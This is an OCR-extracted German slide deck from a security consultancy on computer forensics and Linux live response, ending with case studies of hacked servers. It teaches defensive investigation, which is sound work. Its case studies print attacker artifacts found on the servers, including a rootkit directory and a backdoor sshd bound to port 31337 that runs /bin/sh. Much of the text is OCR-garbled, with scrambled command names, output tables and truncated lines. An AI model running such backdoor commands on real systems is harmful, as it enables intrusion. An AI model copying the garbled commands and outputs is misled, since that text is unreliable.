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Visitenkarte HiSolutions AG
Grindung 1994

Beratungs- und Losungshaus fur
(IT-) Governance, Risk & Compliance

Kernthemen Information Security
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Business Continuity Management
IT-Service Management
Project Portfolio Management

Mitarbeiter 55
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Wir wenden Standards nicht nur an, wir pragen sie mit

nnnnnnnnnnnnnnn

@ Bundesministerium
das Innarn

ITIL und Informationssicherheit

ITIL und Informationssicherheit

Miglichleiten und Chancen dez Zuzammenwirlj
Sicherheit und IT-Service- Management Aspekte der Integration von Incident und Security ITIL und Standards fiir IT-Prozesse
Management

Prozess-Standards fiir die Entwicklung der IT-Service-
Qrganisation gemal ITIL Best Practices

(Mit-)Autoren von:
Standard ,,100-4 Notfallmanagement*
Baustein ,Unix"
Baustein ,Behandlung von Sicherheitsvorfallen*®
Baustein ,Patch- und Anderungsmanagement*
Studie ,ITIL und Informationssicherheit”
Zertifizierung von drei der grof3ten Grundschutzzertifikate:
Toll Collect, T-Systems,
Gesamtverband der deutschen Versicherungswirtschaft (GDV)
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Was ist Computer Forensik?

Computer-Forensik! (oder auch Digitale Forensik, IT-Forensik, luK Forensik):
Nachweis und die Ermittlung von Straftaten im Bereich der Computerkriminalitat
Nachweis und Aufklarung von anderen strafbaren Handlungen z. B. durch Analyse

von digitalen Spuren
Kriminalistische Fragestellungen:

Wer, Was, Wo, Wann, Womit, Wie und Weshalb (evtl.)

Ziel der Ermittlung

Erkennen der Methode oder der Schwachstelle, die zum Systemeinbruch gefiihrt
haben konnte,

Ermittlung des entstanden Schadens nach einem Systemeinbruch,
Identifikation des Angreifers,

Sicherung der Beweise flr weitere juristische Aktionen.

Lforensisch [lat. sinngemaR]: gerichtlich oder auch kriminaltechnisch; andere Beispiele: forensische Medizin; forensische
Psychologie

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 7
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Taterstruktur

Typische Delikte: Spionage, Veruntreuung, Sabotage, Falschung

Laut der Polizeilichen Kriminalstatistik 2008 [BKA2008] sank die
Aufklarungsquote im Bereich Computerbetrug von 42,3 auf 40,3%, im Gebiet
,ZAusspahen, Abfangen von Daten“ gar von 32,8 auf 29,0%.

Studien im Bereich der Wirtschaftskriminalitat [KPMG2006, PWC2007,
Ernst&Young2007, PWC2008)] haben ergeben, dass ca. 50% der Tater innerhalb
des Unternehmens arbeitet / gearbeitet hat.

Viele der Kriminellen haben in Managementpositionen oder an verantwortlichen
Stellen innerhalb der IT gearbeitet

Insbesondere bei Wirtschaftsspionage haben Innentéater ein leichtes Spiel.

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 8
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Grundregeln der
Ermittlung



, Elsberg” der Daten

Daten, die von normalen Tools gefunden werden
(Windows Explorer)

Zusatzliche Daten, die nur durch
Spezialwerkzeuge gefunden werden kdnnen
(geloscht, umbenannt, versteckt, unvollstandig,
schwer aufzufinden)

©Darren Harlow, Computer Forensics 101
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Grundsatzlich gilt: SAP-Modell

Secure (Erfassung der Daten)
,1atort* und Untersuchungsbereich absichern
Beweisspuren sorgfaltig sichern

Integritat der Daten bewahren bzw. nachweisen: Hashes, Vieraugenprinzip,
Protokollierung

Rechtmaligkeit beachten

Analyze (Auswertung der Daten)
Spuren sorgfaltig auswerten
Ergebnisse objektiv bewerten
SchlUsse kritisch hinterfragen

Present (Prasentieren der Ergebnisse)
Detaillierungsgrad und Methoden sind abhangig von der Fragestellung
Erkenntnisse schlissig und nachvollziehbar dokumentieren
Erkenntnisse Uberzeugend zielgruppenorientiert prasentieren

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 11



B

Sicherungsreihenfolge Ll

Die Halbwertzeit der Informationen bestimmt die Sicherungsreihenfolge

Routingtabellen, ARP-Cache, Prozessliste, angemeldete User, Netzstatus,
Kerneldaten, Hauptspeicherinhalt (durch Prozesse belegt)

Temporare Dateisysteme, SWAP-Bereiche, etc
Der komplette Inhalt der Datentrager
Relevante Logging und Monitoringdaten auf zentralen Loggingservern

Physische Konfigurationen und Netzwerktopologien
Archivierte Medien

Siehe auch RFC 3227 - Guidelines for Evidence Collection and Archiving

Assess It All, Or Lose It All

We secure your business. (tm)
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Was sollte sichergestellt werden?

Haupteinheit (Die Kiste, an der Monitor und Tastatur angeschlossen sind ;-))
Monitor und Tastatur nur in besonderen Fallen
Externe Stromkabel

Externe Festplatten

Dongles (Lizenzdongles)

Externe Modems oder ISDN-Adapter

Externe WLAN-Karten (auch PCMCIA)
DSL/WLAN-Router

Digital Kameras

Disketten

Backup Tapes

Jaz/Zip Cartridges

CD/DVD/WORMS PR e ot
PCMCIA-Karten g e
Speichersticks und —karten (Schliisselbiinde!)

'. .-HéndbUcher und

Firewire-Gerate Gebrauchsanweisungen:
PDA und Mobiltelefone =Papier und
Beschriften! Beispielausdrucke zum

forensischen Vergleich

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 13




Werkzeugkiste der Ermittler

Tools zum Erstellen und Prifen von Prifsummen (mehrere Verfahren)
Tools zur Sicherung von flichtigen Daten zur Laufzeit

SchlUsselwortsuchtools (auch fremde Zeichensatze) in logischen und physischen
Strukturen von Datentragerimages

Tools zur Dateianalyse und —wiederherstellung anhand von Dateisignaturen
Tools zum kompletten oder gefilterten Wiederherstellen von gel6schten Daten
Tools zum Betrachten unterschiedlicher Dateiformate

Tools zum Erstellen Timeline durch Auswertung der MAC-Times

Tool zum Erstellen und Zusammenfassen aller Berichte mit bedarfsweisen
Detailinformationen

Hardware Writeblocker mit Adaptern flr unterschiedliche Speichermedien

Tool zum Ldschen der verwendeten eigenen Speichermedien vor Aufnahme von
Beweisspuren

Verschlisselungswerkzeuge zur Sicherung der Ermittlungsergebnisse

Die verwendeten Werkzeuge mussen beherrscht werden — vorher tGben!

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 14
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Analyseansatze
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Unterschiedliche Analyseansatze

Live Response (Untersuchung am Live System)
= Notaufnahme

Post Mortem Analyse (Untersuchung einer Forensischen Kopie)
= Pathologie bzw. Gerichtsmedizin

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 16
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Netzkabel ziehen?

System Shutdown
Zerstort einige fragile Daten (SWAP, pagefile)
Sehr viele MAC-Timestamps werden zerstort
Logische Bomben kdnnten gestartet werden

NACH MOGLICHKEIT KEINEN NORMALEN SHUTDOWN
DURCHFUHREN

Stromkabel ziehen

Zerstort alle fluchtigen Daten in Hauptspeicher, Informationen
tber laufende Prozesse und angemeldete User - vorher sichern!
- Live Response 1

1
Stoppt alle Prozesse sofort ohne dass logische Bomben gestartet ké
werden kénnen '

BEVORZUGTE METHODE

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 17
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Live Response vs. Post Mortem

Live Response
Wenn,
= flichtige Daten gesichert werden sollen,
= das System nicht heruntergefahren werden kann,

» Passworter von evtl. verschlusselten Dateisystemen / Containern nicht
bekannt sind,

Post Mortem Analyse
Wenn,
= die flichtigen Daten nicht relevant sind,
= der aufzuklarende Vorfall langer zurtck liegt,
» das System mehrfach gebootet wurde,
» der First Responder das Stromkabel bereits gezogen hat.

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 18




g(:snlutium

Live-Response
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Live Response — Das Austauschprinzip

Edmund Locard
Franzosischer Mediziner (1877-1966)
Pionier der Forensik

Formulierte das Grundprinzip forensischer Wissenschaft (Locard’s
Exchange Principle):

Jeder und alles am Tatort nimmt etwas mit und lasst etwas zurtick

Prinzip auch in der Computer Forensik gultig

Tatigkeiten wahrend der Live-Response verandern den Status des
untersuchten Systems

Zeitraum und Auswirkungen der Tatigkeiten mussen dem Responder bewusst sein
Zeitraum der Live-Response dokumentieren
Eigenschaften und Grenzen der eingesetzten Werkzeuge kennen

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 20
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MalRnahmen nach erkanntem Sicherheitsvorfall

Samtliche Programme auf dem kompromittierten System sind nicht
vertrauenswirdig!

Ausgaben von installierten Werkzeugen konnen manipuliert sein
trojanisierte Versionen der Werkzeuge und Root-Kits kdnnen installiert sein
Weiterer Schaden kann durch Verwendung der Tools entstehen

Routinen zum Léschen von Spuren kdnnen ausgelost werden

Ausldser kdnnte auch Trennung vom Netzwerk sein (logische Bomben)
System isolieren, aber im Netzwerk belassen

Ausschlie3lich Verwendung von eigenen statisch kompilierten Werkzeugen
ohne Schreibzugriff

Niemals ungewollt auf den Datentrager schreiben!
Keine Werkzeuge verwenden, die Zeitstempel verandern (tar, cp etc.)

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 21
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MalRnahmen nach erkanntem Sicherheitsvorfall

Keine weiteren Handlungen an dem System durchftihren
In begriindeten Fallen kompromittiertes System vom Netzwerk trennen
Sicherstellung der flichtigen Informationen
Verwendung einer vertrauenswurdigen Werkzeugsammlung
Einsatz von Werkzeugen ohne GUI
Belegung der Integritat der Werkzeuge mit Prifsummen
Ausfuhrliche, lickenlose Dokumentation aller durchgefiihrten Schritte

Speicherung der gewonnenen Informationen auf einen externen
Datentrager oder Ubertragung tiber ein Netzwerk auf die forensische
Arbeitsstation

Belegung der Integritat der sichergestellten Daten mit Prifsummen

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 22
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Reihenfolge der Sicherung flichtiger Daten

angemeldete Benutzer
Netzwerkverbindungen

Zeitstempel aller Dateien
Systeminformationen
Alle getffneten Dateien

geladene Module
Bash-History

Flichtigkeit der Informationen

Beweisquelle Werkzeuge
Aktuelle Systemzeit/Datum | date
RAM dd, pcat,
laufende Prozesse ps —aux, Isof —n —P —,
Angemeldete und zuletzt w, last

ifconfig —a, netstat —an(p), arp —an, route —Cn,
Isof -i

Is
tar cf - /proc
Isof

cat, Ismod,
cp, history

We secure your business. (tm)
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Automatisches Sammeln von flichtigen Informationen

Leicht hundert Einzelbefehle
Z.B. Zustand der Netzwerkverbindung (cat, ifconfig, netstat, arp, Isof und
rpcinfo)
Z.B. Prozessspeicher (Process Dumper [Klein2006], Auswertung mit
Windows-basierten ,Memory Parser‘ [MMP2006])

Manuelles Aufrufen der Befehle ist, nicht allein wegen der Vielzahl an
Parametern, sehr fehlertrachtig und kostet wertvolle Zeit (System verandert sich)

Automatische Toolkits
Windows Forensik Toolchest [WFT2008]
Linux-Live-Response (LRR) [Ewers2008]

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 24
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Automatisierung durch IR-Toolkits

Live Response Skript ,linux_ir.sh* auf Helix CD

Unvollstandig

Statische Tools stellenweise nicht auf aktuellen Distributionen / Kernels
lauffahig

Teilweise fehlerhaft

© 2009, HiSolutions AG | Digitale Forensik 25
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ForensiX-CD

HiSolutions hat eigenes Toolkit zusammengestellt (iX Oktober 2008)

Diverse Forensik-Tools
Statisch kompilierte Werkzeuge fur 2.4er und 2.6er Kernel
Vertrauenswurdige Shell
Sicherung tber Netzwerk und auf externe Datentrager
Bendtigte Dateien: /dev/null und /proc
Gelesene Dateien (MAC-Timestamps!)

» /[dev/imem

= /etc/passwd

= /var/run/utmp

= /var/log/wtmp

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 26




LLR im Einsatz (Sichere Shell starten)

WilllGIoCaINGE T, /media/llr togIKITI0 A IIT

Datei Bearbeiten Ansicht Terminal Reiter Hilfe

[willi@localhost ~]% cd /media/llr-toolkit-0.4/11r
[willi@localhost 11r]$%$ ./start-2.6.sh

== BASH: /media/1lr-toolkit-0.4/11r/bin-x86-2.6/bash

== HOME: /media/llr-toolkit-0.4/11r

== PATH: /media/1lr-toolkit-0.4/11r/bin-x86-2.6

bin-x86-2.6/bash ~ $ ./1lr.sh /media/GSTOR\ WAVE/Report/logfilel]

We secure your business. (tm)
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LLR im Einsatz (Auswahl der Optionen)

‘willi@localhost:/media/llr-toolkit-0.4/lr"
Datei Bearbeiten Ansicht Terminal Reiter Hilfe

== BASH: /media/1llr-toolkit-0.4/11r/bin-x86-2.6/bash

== HOME: /media/1llr-toolkit-0.4/11r

== PATH: /media/1llr-toolkit-0.4/11lr/bin-x86-2.6
bin-x86-2.6/bash ~ # ./1lr.sh /media/GSTOR\ WAVE/Report
=== Start of 1lr.sh Version 0.4 $Revision: 1.40 §

Available options:
checksum Checksum every external command with 'sha256sum -b' (which is
also external) before running it.

date Run 'date' before every command to log exact start times. If
not set, only start and end times of the script will be logged.
kmem Dump kernel memory from /dev/kmem (may not work, may only dump

the first Mbyte, may in rare cases hang the system)

kmemlast The kernel memory dump may hang in rare cases, until now only
seen on XEN kernels. With this option, it is executed last. Use
with XEN kernels.

procmem Dump process memory. Takes a long time. May hang in rare cases
if executed under X11.

pcat Use pcat (from The Coroners Toolkit) instead of pd (process dumper
from trapkit.de)

Current options: >checksum date procmem kmem<

Enter option to toggle or press enter to continue> [

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 28



LLR im Einsatz (HTML Bericht)

[collapse] [extend]

Main

[Ipaterime

Script started

date

END of main part - start of additional
tasts (may hang)

date

END of script

date

[-Setfchack

SHA2565ums
shazhGsum . /11r.sh
//wha?%Gaums, txt /mel. .. ]

shaZlbbaum —w —o . //sha2bGsums. txt |

-[Basics

Hostname
hostnams

System date and uptime
date

uptime

Loadavg

cat /proc/loadavg
Script environment
printeny

iel

JKern=1

Kernel version

unam= —a

cat fpros/version
Dmasg output

eme ey

Kernel meminfo

cat /proc/meminfa

cat fproc/vmatat
Memory dump allowad?
(devmem is_allowed should appear
when yas)

grep devmem prockallsyms
Base mamory dump

del if=/dev fmem

Kernel boot parameters
cat /proc/cmdline
Kernel modules

cat fpros/madulea

Sysctl values (incl. netwark
paramaters)

synotl —A

Kernel symhaols

cat /proe/kallsyms

-[Filesystams

Mountad filesystems and storage
cat /proc/mounts

cat /proe/partitions

cat /proc/swaps

df -h

dE -k

+Procasses

Running processes overiew
Running processes by jproc (some
arrars ara expectad)

Process memory dump

etworkc

Network interfaces
ifeonfig —a
ifconfig =

Routing and arp tables
netatat -rn

arp -

cat /proe/net/arp
Bunning network connections
netatat —apn —-inst
Imaf -B -n -i -w
Complete sacket info
netstat —anp

lsof -n -P -

| | ]—ﬂardwara

Initial Response Log '/media/GSTOR WAVE/Report/logfile' - Linux Live Reponse

Version 0.4 $Revision: 1.40 §

=Rel] . /11r.sh /media/GSTOR WAVE/Report/logfile
/media/1lr-toolkit-8.4/11r/bin-x86-2.6/bash|
/media/1lr-toolkit-@.4/11r/bin-x86-2.6

o

checksum date procmem kmem

/media/GSTOR WAVE/Report/logfile

Date/Time

Script started

Command: [iERE!
i S SRR Sucess (0)

pa /media/1lr-toolkit-©.4/11r/bin-x86-2.6/date
158fcBeqd66552eachf3503ccf5ebadb3dbestnd34f0a6397bfalbd59fachff
e Wed Nowv 12 ©9:39:34 CET 2008

B

ed Mov 12 ©9:39:34 CET 2008

/medias1lr-toolkit-©.4/11r/bin-%x86-2.6/date
158fcBedd66552eachf3503c4ct5ebadb3dbeetnd34f0a6397bfalbd59fachtf
Wed Nowv 12 ©9:44:31 CET 2008

/media/1lr-toolkit-0.4/11r/bin-x86-2.6/date
158fcBedd66552eachB3583c4cf5eh9db3dbectBd34fBa6397bTalbd59fachTf
Wed Now 12 ©9:44:32 CET 2008

ed Nov 12 ©9:44:32 CET 2088

Selfcheck

SHA256sums

/media/1lr-toolkit-0.4/11r/bin-%86-2.6/basename /media/11lr-toolkit-@.4/11r/bin-x86-2.6/bash /media/1lr-toolkit-@.4/11r

©.4/11r/bin-%86-2.6/dmesg /media/Llr-toolkit-0.4/1lr/bin-x86-2.6/du fmedia/1lr-toolkit-©.4/11r/bin-x86-2.6/echo /media

/medla,f'l.].r-tuolkit-@.d-;_"l_'l r/bin-x86-2.6/free ,fml_edia,f'l.lr-tou'l.kit- (o] .4fll_rfbin -x86-2.6/grep fmedii_a/l'lr- toolkit-8.4/11r

sha256sum . /1lr.sh .//sha256sums. txt /media/llr-toolkit-0.4/11lr/bin-x86-2.6/arp /media/1lr-toolkit-0.4/11r/bin-xB6-2.6/base6s
/bin-x86-2.6/cat /media/1lr-toolkit-8.4/11r/bin-x86-2.6/chgrp /media/llr-toolkit-@.4/11r/bin-%86-2.6/chmod /media/Lllr-toolkit-
0.4/11r/bin-x86-2.6/chown /media/llr-toolkit-0.4/11r/bin-x86-2.6/cp /media/1lr-toolkit-0.4/11r/bin-x86-2.6/cut /media/1lr-toolkit-
0.4/11r/bin-x86-2.6/date /media/1lr-toolkit-8.4/11r/bin-x86-2.6/dd /media/11r-toolkit-0.4/11r/bin-x86-2.6/df /media/1lr-toolkit-

/1lr-toolkit-08.4/11r/bin-x86-2.6/env /media/1llr-toolkit-0.4/11r/bin-x86-2.6/false /media/11r-toolkit-0.4/11lr/bin-xB86-2.6/file

business. (tm

© 2009, HiSoluti
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Speicheranalyse

Dump des Arbeitsspeichers ist vorhanden und nun?
Extraktion vorhandener ASCII und Unicode Zeichenketten

X-Ways Forensics ,Gather Text"

Strings -5 dd_mem_img.txt > dd_mem_img_strings.txt
Windows Memory Forensic Toolkit

Durchsuchen des Dumps nach Prozessen und Threads
Speicheranalyse mit pd und Memory Parser (MMP)

Dump eines Prozessspeichers mit pd

Extraktion der geladenen DLLs
PTFinder

Durchsuchen des Dumps nach Prozessen und Threads

We secure your business. (tm) © 2009, HiSolutions AG | Digitale Forensik 30
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Und in der Praxis?



Wo starten? Beispiel!

ed Hat Linux release 7.2 (Enigma)
Kernel 2.4.7-18 on an i686 1

his server 1s operated for authorized users only. All use
is sub ject to monitoring. Unauthorized users are sub ject to
prosecution. If you’re not authorized, LOG OFF NOW?

localhost login: root

assword:

Last login: Wed Aug 6 11:16:48 on tty2
[rootPlocalhost rootl#f (swapd) uses obsolete (PF_INET,SOCK_PACKET)
ethB: Promiscuous mode enabled.

device ethB entered promiscuous mode

ET4: Linux IPX B.47 for NET4.8

IPx Portions Copyright (c) 1995 Caldera, Inc,

IPX Portions Copuyright (c) 2888, 2881 Conectiva, Inc.
ET4: AppleTalk B.18a for Linux NET4.8

ethB: Promiscuous mode enabled.

ethB: Promiscuous mode enabled.

© 2009, HiSolutions AG | Digitale Forensik 32
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Wo starten? Beispiel!

susr/bin/ imore

[root@localhost ~21#f 1s -la
otal 22312
XTI —X 1 root root 18439 Aug 18 13:33 (swapd)
Z root root 8192 Aug 18 13:33
15 root root 4896 Jul 14 13:53

Dateiname lautet ,(swapd)®

[rootPlocalhost #1# 1s -1s Zusr/binssmbd\ -D
' susr/binssmbd -D

664 -ruxr-xr-x 1 root root 672527 Sep

[rootPlocalhost ~1%

Dateiname lautet .smbd -D*

© 2009, HiSolutions AG | Digitale Forensik 33
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_ Fowtion

[root@Plocalhost /18 1ls -la sdevsttyo=
—PRXI - XX 1 root root
~“PWXr—-Xr-x 1 root root
—“PWXr—-XI—-X 1 root root

Wo starten? Beispiel!

134 Sep 4 <ZBHZ rsdevrsttyoa
59 Sep 4 2882 rdevstityof
/14 Mar 18 <ZBBZ rsdevsttyop

RootKit-Konfigdateien in /dev/

lLrootlPlocalhost ~#1# 11 lib~r.x/

—“FWXY —XI'—X
WX —XI' X
===
—FWXr—XIr—x

PW-P——1 ——
P WU-P————
“ruwxr-xXr-x
WX WXrwx
- uWXr-Xr-x
[rootPlocalhost

bk [N b ek b ek ek ek ek

apache
apache
root
apache
root
root
apache
root
root

/18

RootKit in /lib/.x

apache
apache
root
apache
root
root
apache
root
root

© 2009, HiSolutions AG | Digitale Forensik 34

Jan |

Dec hide

Aug hide. log
Mar inst

Aug install.log
Aug 1 ip

Jan & log

Aug

Aug sk




' Wo starten? Beispiel Konfiguration der Netzwerkkarte

[root@Plocalhost rootl##t s/sbinsifconfig ethB
ethd Link encap:18ribps Ethernet Hidaddr BB:8C:29:89:42:93
inet addr:192.168.1.79 Becast:192.168.1.255 Mask:255.255.255.8
UP BROADCAST RUNNING MULTICAST HMTU:1588 Metric:1
RX packets:6618588 errors:9788 dropped:8 overruns:H
TX packets:B errors:8 dropped:8 overruns:871337
Interrupt:18 Base address:Hx1Hed

[root@localhost rootl#t /s/mnt/cdromsStatic-Binariesslinux_x86-ifconfig ethB

ethd Link encap:Ethernet HWaddr BB:BC:29:89:42:93
inet addr:192.168.1.79_RBcast:192.168.1.255 Mask:255.255.255.8

UP BROADCAST RUNNING_PROMISC MULTICAST MTU:1588 Metric:1
RX packets:9788 errors:H dropped:8 overruns:B frame:8

TX packets:9172 errors:B dropped:B8 overruns:B carrier:8
collisions:@
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N

Beispiel eines gehackten Servers

Ein Server unter Ubuntu wurde frisch aufgesetzt und gepatched, wenn auch nicht

sonderlich konfiguriert. Es sollte in den nachsten Tagen zu einem Webserver/-
portal ausgebaut werden.

Bereits am nachsten Tag laufen Beschwerden ein, der Server wirde massenhatft
SPAM versenden. Der Linux-Administrator fihrte ein paar Checks durch und rief
dann um Hilfe, da der Vorwurf offenbar stimmte, das System aber hinsichtlich E-

Mail "sauber" konfiguriert ist (kein offenes Relay). Auf3er ihm habe keiner Zugriff
auf das System gehabt.

Fragen:
Aktive Dienste?
Veranderungen des Systems im verdachtigen Zeitraum?
Hinweise wie verdachtige Dateien die ausgefuhrt oder geldoscht wurden?
Uber welchen Weg wurde der Server kompromittiert?

Welche Zugangswege existieren? Wurden ggfs. zusatzliche angelegt?
Empfehlung?
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Beispiel: Aktive Dienste

Eunning network connections

Exit stams:  SERSLERT)]

o L FUT R ELSEat —apn ——-inet

Jun 20:49:56 CE3T 2008

S ER TR e dia/ TSESTICKE tmp/bin-x86-2 . 6/ netstat
62 6EL356d1b4153azbis717es5c64341e2d55908bel1Yebhblblf8ackhl1591ed4f4dl
Do 19.

Letive Internet conhnections
Froto Becw-2 Send-2 Local
Cop ] o o.0.0.
tcp u] o 1z27.0.
top u] o o.o0.0.
top u} o 1z27.0.
Cop ] o o.0.0.
udp u] o o.0.0.
udp u] o o.o0.0.
uclp o o o.o0.0.

bddresz

150

125
H 1=

L T o s o

31337
.1:3306

L1:631

149491
: 5353

Foreign

L T o s o
oo oo ooo
oo oo ooo

.0,

0.

L T o s o

[servers and established)

bddres= State PID/Program heme
LISTEN 5584/ 3shd

* LISTEN 4692 fmy=gld

W LISTEN 5230/ apachez

* LISTEN 4798/ cupsd

* LISTEN 1584/ mascer

* 3734 /dhclient3

* 45938/ avahi-dasmon:

* 45938/ avahi-dasmon:

lgzof -FP -n -1i -V

Sucess ()

Jun 20:49:56 CE3T 2008

¥el /redia/ UIBITICE tmp/hin-x86-2. 6/ 1sof
G S 109f52 1b5d2 17963 eddd?ed994e3163376b102bhlfefefadibed0dldd7asal 12
Do 19,

COMMAND
dholient3
sshd
avahi-das
avahi-daes
myscld
cupsd
aster
apachez
apache
apachez
apachez
apacheZ
apachez
==hd

FID
3734
4565
4533
4533
4692
47335
4554
5230
5314
5315
5316
5317
53183
5554

TIER
dhop
roct
avahi
avahi
myscl
roct
roct
root
wuw—data
wuw—data
wyw—data
wHw—data
wuy-data
root

FD
41
3u

14n

15u
10u
Z1u
1lu
3u
3u
3u
3u
3u
3u
3u

TYFE
IPv4
IPva
IPwd
IPw4
IPw4
IPv4
IPv4
IPwd
IPw4
IPw4
IPv4
IPv4
IPwd
IPw4

DEVICE SIZE/CFF NODE

10735
11914
11961
11962
12056
12258
12405
13277
13277
13277
13277
13277
13277
22033

oo
oto
oco
oto
oto
oo
oto
oco
oto
oto
oo
oto
oco
oto

TP
TCP
TDP
TP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP
TCP

MLME

%165

#:22 (LISTEN)

*:15353

%:45451
127.0.0.1:3306 (LISTEN)
127.0.0.1:631 (LISTEN]
#:25 (LISTEN)

*:80 (LISTEN)

#:80 (LISTEN)

#:80 (LISTEN)

*:80 (LISTEN)

*:80 (LISTEN)

*:80 (LISTEN)

+*

:31337 (LISTEN)
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Beispiel: Aktive Dienste

Datei Bearbeiten Ansicht Terminal Reiter

TOOt@OpfarubuUntuB0aIs: ~

Hilfe

root@opferubuntuded4lts:~# ps -ef | grep ssh

root 4466 1 © 14:35 ?
root 16900 1 @ 16:87 ?
root 16901 16908 0 16:07 7
root 30992 25599 0 16:27 pts/@

root@opferubuntudodlts: ~#

80:00:80 fusr/sbin/sshd

00:80:80 /bin/sh /etc/rc2.d/S89ssh start
00:00:088 fusr/bin/sshd -1p 31337 -e /bin/sh

A0:00:88 grep ssh

Benutzerwecnsel | =

We secure your business. (tm)
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Beispiel: Woher kommen die Mails (/var/log/mail.log)?

Datei Bearbeiten Ansicht Terminal Reiter Hilfe

Jetc/postfix
Jun 19 208:43:32
Jun 19 21:88:54
Jun 19 21:082:19

Jetc/postfix
Jun 19 20:04:47
Jun 19 20:04:47
419A@ubuntuBedLts>
Jun 19 20:04:47 ubuntu8®4lts postfix/gmgr[4898]:
nrcpt=1 (gueue active)

Jun 19 208:04:47 ubuntudB4lts postfix/local[5956]:
ot=,
ox)
Jun 19 EB 34 4? ubuntu8f4lts postfix/qmgr[4898]:

:25 ubuntuB804lts postfix/

> ubuntu8@4lts postfix/
%x.gbl=?

ubuntu8f4lts postfix/qmgr[4898]:

cleanup[608¢
Jun 1ﬁ 20:10:25
tive)

Jun 19 208:18:25
Jun 19 208:18:25
7036836CBTEF1@phx.gbl=?

Jun 19 208:10:25 ubuntu8@4lts postfix/gmgr[4898]:
tive)

7036036CBTEF1@phx.gbl=?
Jun 19 20:10:25 ubuntuBf4lts postfix/qmgr[4898]:

We secure your business. (tm)

ubuntu8f4lts postfix/master[5499]:
ubuntu8f4lts postfix/master[5499]:
ubuntu8f4lts postfix/master[4884]:

ubuntu8f4lts postfix/pickup[4896]:
ubuntu8f4lts postfix/cleanup[5954]:

relay=local, delay=08.56, delays=0.34/0.16/0/0.06, dsn=2.0.8,

‘pickup[6683]:

ubuntuB@4lts postfix/pickup[E083]:
ubuntu8f4lts postfix/cleanup[6886]:

Jun 19 28:10:25 ubuntuBB4lts postfix/pickup[6683]:
Jun 19 208:10:25 ubuntu8f4lts postfix/cleanup[B086]:

reload configuration /etc/postfix
terminating on signal 15

daemon started -- version 2.5.1, configuration
605BAG419A: uid=1080 from=<user=

6D5BAG419A: message-1d=<20080619180447.6D5BAG

6D5BAG419A: from=<user@ubuntu8f4lts=, size=508,

6D5BAG419A: to=<user@ubuntuB®4lts=, orig to=<ro
status=sent (delivered to mailb

removed
uid=0 from=<=
message-id=<BLU110-W12B3E9ACBF766

BD5BAG419A:
*874*04198
: 3B7436419B:

3B7436419B: from=<>, size=810, nrcpt=1 (queue ac

517F46419A: uld=0 from=<=>
517F46419A: message-id=<BLU110-W12B3E9ACEF766
517F46419A: from=<=, s5ize=887, nrcpt=1 (gueue ac

6DE28641A6: uid=0 from=<>
6DE28641A6: message-id=<BLU110-W12B3E9SACBFT66

BDE28641A6: from=<>, size=813, nrcpt=1 (queue ac

© 2009, HiSolutions AG | Digitale Forensik 39




Beispiel: Wie w

urde eingebrochen (/var/log/auth.log)?

Datei Bearbeiten Ansicht Terminal Reiter Hilfe

Jun
ssh2
Jun
(uid
Jun

Jun
{uid
Jun
in/s
Jun
id=0
Jun

19 21:14:31 ubuntu8@4lts

euid=0 tty=ssh ruser= rhost=dhcpl®-9.hisolutions.com user=user

19 21:14:33 ubuntuB@4lts

19 21:14:33 ubuntuB®4lts
19 21:14:34 ubuntuge4lts

19 21:14:34 ubuntuB@4lts

19 21:14:37 ubuntugde4lts
19 21:14:38 ubuntuBe4lts

euid=0 tty=ssh ruser= rhost=dhcpl0-9.hisolutions.com user=user

19 21:14:39 ubuntuB®4lts

19 21:14:40 ubuntuBe4lts
19 21:14:40 ubuntuBe4lts

eulid=0 tty=ssh ruser= rhost=dhcpl®-9.hisolutions.com user=user

19 21:14:43 ubuntuBB4lts

19 21:15:10 ubuntuBB4lts

19 21:15:10 ubuntuB®4lts

19 21:16:12 ubuntuB8@4lts
u =
19 21:16:12 ubuntuB@4lts

)
19 21:16:12 ubuntuB8@4lts

sshd[5803]: pam unix(sshd:auth): authentication failure; logname= ui -
sshd[5803]: Falled password for user from 10.129.252.9 port 53504 ss

last message repeated 2 times
sshd[5805]: Accepted password for user from 10.129.252.9 port 535085

sshd[5807]: pam unix(sshd:session): session opened for user user by

sshd[5807]: pam unix(sshd:session): session closed for user user
ss5hd[5829]: pam unix(sshd:auth): authentication failure; logname= ui

sshd[5829]: Failed password for user from 10.129.252.9 port 53506 ss

last message repeated 2 times
sshd[5831]: pam unix(sshd:auth): authentication failure; logname= ul

sshd[5831]: Failed password for user from 10.129.252.9 port 53507 ss
sshd[5833]: Accepted password for user from 10.129.252.9 port 53508
sshd[5835]: pam unix(sshd:session): session opened for user user by
sudo: user : TT¥Y=pts/1 ; PWD=/home/user ; USER=root ; COMMAND=/b
sudo: pam unix(sudo:session): session opened for user root by user(u

sudo: pam unix(sudo:session): session closed for user root
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Beispiel: .bash_history (von root)

@ HDUTIL

Datei Bearbeiten Ansicht Terminal Reiter

vi main.cf

vi main.cf

netstat -nlp

netstat -nlpt

adduser customerl3z4
halt

passwd user

passwd root

halt

cd /etc/apt/apt.conf.d/
ls

vi 33proxy

aptitude update
aptitude upgrade

halt

ifconfig

ping proxy

ping 10.129.252.11

ping proxy

reboot
tar xvf /home/user/.pid

vf /home/user/.pid
etc/rec2.d/589ssh restart
date -s 19:59
date
root@ubuntugedlts:~# |

We secure your business. (tm)

Hilfe
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Datei Bearbeiten Ansicht

date

Terminal Reiter Hilfe

Beispiel: .bash_history (cont.)

root@ubuntug®4lts:~# cat /home/user/.bash history
/sbin/ifconfig

man date
sudo su -
ps ax

root@ubuntuse4lts:~# tar tvf /home/user/.pid

drwxr-xr-x
drwxr-xr-x
-TWXT-XI-X
drwxr-xr-x
-TWXT-XI-X
drwxr-xr-x
- WX T MW

drwxr-xr-x
-TWXT-XI-X
drwxr-xr-x
1 rwx rwx rwx
